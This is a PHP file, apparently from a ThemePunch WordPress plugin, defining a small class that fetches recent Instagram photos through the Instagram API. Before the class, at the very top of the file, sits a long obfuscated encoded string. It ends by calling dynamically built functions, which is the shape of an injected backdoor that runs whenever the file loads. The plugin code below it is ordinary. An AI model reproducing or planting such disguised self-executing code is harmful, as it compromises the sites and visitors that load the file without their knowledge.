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ok;DxWZDRES>UT4nlV>aWOO7AT2SXU1f,7-7<ti,7dcKV=TtMSvK-<74Jp+gyoqDT6L,K+2PGzTKPYoAeBVO1=LbYoJ=U4U-ylK1aQY:tZU.LpRAm4YJEA<VQGMSDE834=V9V.0Q8ALSY:NtE,YTU83TPhUS8TYHiQ2Y1+:2Q JopB=1EOQO79wGKtVC8-73YUC3H18SIAKj=.+NHjoDJZYLrNQuD50YOn=QAQoo<XESpbnRDFBEQCWC.9MBXAJCKVDE;X6SQOEvq,yZVHAwBPHLOALRPRfZ<A1QE.JT FTN2J5A3-SAXSDVZSeKnWsOhvHmdN=XZAA-ZZM:WHL+WU9STaNP4KEAU-IgPTr7'^$tpMXsx); $SijxJK(); 

/**
 * Instagram
 *
 * with help of the API this class delivers all kind of Images from instagram
 *
 * @package    socialstreams
 * @subpackage socialstreams/instagram
 * @author     ThemePunch <info@themepunch.com>
 */

class TP_instagram {

	/**
	 * API key
	 *
	 * @since    1.0.0
	 * @access   private
	 * @var      string    $api_key    Instagram API key
	 */
	private $api_key;

	/**
	 * Initialize the class and set its properties.
	 *
	 * @since    1.0.0
	 * @param      string    $api_key	Instagram API key.
	 */
	public function __construct($api_key) {
		$this->api_key = $api_key;
	}

	/**
	 * Get Instagram Pictures
	 *
	 * @since    1.0.0
	 * @param    string    $user_id 	Instagram User id (not name)
	 */
	public function get_public_photos($search_user_id){
		//call the API and decode the response
		$url = "https://api.instagram.com/v1/users/".$search_user_id."/media/recent?access_token=".$this->api_key."&client_id=".$search_user_id;
		$rsp = json_decode(file_get_contents($url));
		return $rsp->data;
	}

}
?>